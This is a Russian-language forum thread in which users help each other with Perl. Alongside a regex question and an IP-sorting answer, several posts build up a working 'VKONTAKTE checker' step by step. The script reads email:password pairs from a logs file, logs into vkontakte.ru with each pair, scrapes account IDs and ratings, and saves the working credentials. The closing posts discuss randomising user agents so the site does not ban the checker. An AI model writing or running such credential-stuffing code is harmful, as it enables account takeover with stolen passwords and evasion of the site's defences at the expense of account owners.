еп-ти заработало! все бока в этой диретиве! хотя в скрипте использовал set_time_limit(0); но не погало (
прошу прощения, просидел безвылазно за компом чуть ли не сутки вот и глюкнуло. Если можно переместите, или удлаите топики.
есть некий урл www.site.com на котором есть некое значение 777 которое в исходно коде находится в такой строчке <div id="value" style="width:10px;">777</div> делаю запрос $request = get('http://www.site.com')->as_string; в переменной request будет исходник страницы а вот дальше подскажите как выдрать именно значение 777 которое в <div id="value" style="width:10px;">777</div> и записаь его в переменную я так понимаю нужно пользоваться регуляркой?
Будет что-то типа PHP: my $variable = $1 if $request =~ m#<div id="value" style="width:10px;">(\d+)</div>#gio; Нужное тебе значение будет в переменной $variable
Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг но почемуто айдишник не выдает ( где огибка? з.Ы. Знание перла = 0.01% ыыыыыы ногами не пинать учусь. PHP: #!/usr/bin/perl use strict; use LWP::UserAgent; use HTTP::Cookies; open (FILE , '<logs.txt'); my @f = <FILE>; chomp @f; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); #Eoee ;) open (OUT , '>>IDS.txt'); while (@f) { my ($mail, $pass) = split(/:/, shift(@f)); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string; my $suc = $req =~ /302 Found/; if ($suc ) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/; if (!$2) { print "Account deleted";# это в случае , если пользователь удалил страницу } $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; my $res = $1 if $req=~m/width:100px">(.{1,4})</; print "[rate=$res]:$mail:$pass \n"; print OUT $res.":".$mail.":".$pass.":".$2."\n"; if (length($2)>1){print OUT $res.":".$mail.":".$pass.":".$2."\n";} } else{print"[-]bad login or password";} }
Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы... На удаленных акках не тестил PHP: #!/usr/bin/perl -s use strict; use warnings 'all'; use diagnostics; use LWP::UserAgent; use HTTP::Cookies; open FILE, '<', 'logs.txt' or die "Cannot open logs file: $!\n"; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); open OUT, '>>', 'IDS.txt' or die "Cannot open IDS file: $!\n"; while (my @f = <FILE>) { my ($mail, $pass) = split ':', shift @f; chomp($pass); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass })->as_string; $req =~ /302 Found/; if ($req) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $1 if $req =~ m#<a href="http://vkontakte.ru/id(\d+)">#i; next && print "Account $mail deleted\n" if !$id; $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; my $res = $1 if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i; print "[rate = $res%]:$mail:$pass\n"; print OUT $res.":".$mail.":".$pass."\n"; exit; } else { print"[-]bad login or password"; } } continue { close OUT; close FILE; }
Есть массив ip адресов. Его нужно отсортировать в порядке возрастания 3 и 4 октетов. Стандартная функция sort делает это так: 10.1.1.11 10.1.1.12 10.1.1.120 10.1.1.121 10.1.1.13 А требуется: 10.1.1.11 10.1.1.12 10.1.1.13 ....... 10.1.1.120 10.1.1.121
sedoy_xxx, попробуй так Code: #!/usr/bin/perl @ips = ('10.1.1.11', '10.1.1.12', '10.1.1.120', '10.1.1.121', '10.1.1.13'); @new = sort { ($a =~ /10\.1\.1\.(\d+)/)[0] <=> ($b =~ /10\.1\.1\.(\d+)/)[0] } @ips; print "@new\n"; exit 0; Это для последнего октета. Для 3 и 4 попробуй заменить на Code: @new = sort { ($a =~ /10\.1\.(\d+)\.(\d+)/)[0] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[0] || ($a =~ /10\.1\.(\d+)\.(\d+)/)[1] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[1] } @ips;
все спасибо разобрался, вот рабочий вариант PHP: #!/usr/bin/perl # VKONTAKTE cheker # Original author Xszz.AoH # Modified by svesve # tnx to a4at members who help me with perl ;-) use strict; use LWP::UserAgent; use HTTP::Cookies; open (FILE , '<logs.txt'); my @f = <FILE>; chomp @f; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); open (OUT , '>>IDS_rate.txt'); while (@f) { my ($mail, $pass) = split(/:/, shift(@f)); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string; my $suc = $req =~ /302 Found/; if ($suc ) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/; my $idd=$2; if (!$2) { print "Account deleted"; } $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; my $res = $1 if $req=~m/width:100px">(.{1,4})</; print "[rate=$res]:[id=$idd]:$mail:$pass\n"; print OUT $res.":".$idd.":".$mail.":".$pass."\n"; } else{print"[-]bad login or password \n";} } close OUT; close FILE;
Хм...логику подкрути еще, ибо на удаленных аках лишь матюкнется на экран и продолжит ломицца на rate.php...
PHP: #!/usr/bin/perl # VKONTAKTE cheker # Original author Xszz.AoH # Modified by svesve # tnx to a4at members who help me with perl ;-) use strict; use LWP::UserAgent; use HTTP::Cookies; open (FILE , '<logs.txt'); my @f = <FILE>; chomp @f; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); open (OUT , '>>IDS_rate.txt'); while (@f) { my ($mail, $pass) = split(/:/, shift(@f)); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string; my $suc = $req =~ /302 Found/; if ($suc ) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/; my $idd=$2; $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; my $res = $1 if $req=~m/width:100px">(.{1,4})</; print "[rate=$res]:[id=$idd]:$mail:$pass\n"; if (!$idd) { print "Account deleted \n"; } print OUT $res.":".$idd.":".$mail.":".$pass."\n"; } else{print"[-]bad login or password \n";} } close OUT; close FILE; подправил все должно быть ок!
1 Ip, 1 юзерагент, да, и если банально прослеживается путь "юзера" по сайту, то за кучу однообразных запросов забанить могут )))
хы а если рандомайз на юзер агент воткнуть ) а то что один айпи это еще не причина бана мб мы из одной сети сидим через шлюз ) все 20 000 человек ))))) и у всех у нас опера или лиса )